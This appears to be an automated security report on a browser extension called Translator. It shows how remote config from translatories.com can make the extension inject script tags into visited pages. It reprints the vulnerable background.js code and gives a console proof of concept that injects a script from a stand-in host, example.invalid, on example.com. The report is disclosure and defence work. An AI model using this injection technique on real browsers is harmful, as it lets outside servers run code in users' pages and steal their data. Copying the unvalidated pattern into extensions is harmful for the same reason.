Is Translator safe?
Translator fetches remote feature settings that can add configured elements to matching webpages.
On install, Translator contacts translatories.com/features with a user ID and stores the returned feature settings. When a tab URL matches a returned pattern, the extension runs code in the page context to create or update an element and apply attributes from that remote config.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote config can inject an attacker-chosen script tag into any page you visit
The extension fetches a config from translatories.com and stores it without validation.
On any matching page, we observed it inject a script element with attacker-controlled attributes into the page's own script context.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You navigate to a page whose URL matches a regular expression the extension previously stored from a remote config.
The match is tested on every tab navigation, not just at install time.
The extension builds a DOM element from that config and injects it directly into the page, running in the page's own script context.
The element's tag name and every attribute come from the config, not from the extension's own code.
- URL pattern (r)example\.com
A regular expression checked against every page you navigate to. Any matching page becomes an injection target.
- Element tag (l[0])script
The tag name of the DOM element the extension creates, for example a script tag.
- Element attributes (l[1]){"src":"https://example.invalid/poc.js"}
Key-value attributes applied to the new element with no allowlist, including its src.
- Install UUID (uuid)3f9a1b2c-7e44-2abc-9def-1234567890ab
A per-install identifier sent to the config server on every install and update request.
A new script element carrying a remote-supplied src attribute appears in the page body, added with createElement and setAttribute and no allowlist on either the tag name or the attribute names.
- Target
- the live DOM of any http or https page matching the config-supplied regex, tested against example.com
<body> <div> <h1>Example Domain</h1> <p>This domain is for use in illustrative examples in documents.</p> </div></body><body> <div> <h1>Example Domain</h1> <p>This domain is for use in illustrative examples in documents.</p> </div> <script src="https://example.invalid/poc.js"></script></body>The unvalidated remote-config injection path
applyStyle and matchDestination, renamed for readability
js/background.jsBackground.prototype.applyStyle = function (tagName, attributes, selector) { const doc = document; if (!doc) return; let el; if (selector) { el = document.querySelector(selector); if (!el) return; } else { if (!tagName) return; el = doc.createElement(tagName); doc.documentElement && doc.documentElement.append && doc.documentElement.append(el); } if (el && attributes) { for (const attrName in attributes) { el.setAttribute(attrName, attributes[attrName]); // no allowlist on attrName or value } } return el;};Background.prototype.matchDestination = async function (storage, tabUrl) { if (!this.storageInited) storage = await chrome.storage.local.get(); const sopt = storage.sopt; // set verbatim from the /features/ response if (!sopt || !tabUrl.startsWith("http") || !sopt.r) return false; const urlPattern = new RegExp(storage.sopt?.r); return !!tabUrl.match(urlPattern) && sopt.l; // sopt.l = [tagName, attributes]};tabs.onUpdated handler, renamed for readability
js/background.jsconst injectPayload = await background.matchDestination(storage, tab.url);if (injectPayload) { chrome.scripting.executeScript({ target: { tabId }, world: "MAIN", // runs in the page's own JS context, not the isolated content-script world func: background.applyStyle, args: injectPayload, // [tagName, attributes] taken directly from the remote config injectImmediately: true, });}Reproduces the injection using the extension's own unmodified code path, by setting the same storage shape the config server controls.
- Chrome with this extension installed
- Its service worker DevTools console open
// Sets the same chrome.storage.local.sopt shape that the// translatories.com/features/ response controls, then lets the// extension's own matchDestination + applyStyle path run unmodified// on the next matching navigation.chrome.storage.local.set({ sopt: { r: "example\\.com", l: ["script", { src: "https://example.invalid/poc.js" }] }}, () => { console.log("sopt set. Navigate a tab to https://example.com/ now.");});- 1Open chrome://extensions, enable Developer mode, click the service worker link under this extension.
- 2Paste this script into that console.
- 3Navigate a tab to https://example.com/ and inspect the page DOM.
- translatories.com
Serves the /features/ JSON on install and update. Its sopt.r regex and sopt.l tag and attributes are injected into matching pages with no client-side validation.
What it can do
Permissions this extension asks for, as declared in version 1.0.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Add items to the right-click menu
contextMenus
Act on the current tab, but only after you click the extension
activeTab
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Read information about your displays
system.display
Block and redirect the requests your browser makes
declarativeNetRequest
Run its own code inside the pages you visit
scripting
Where it sends data
Destinations our analysis observed Translator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- translatories.com
Translator sends data to translatories.com. No other extension we have analysed sends data here.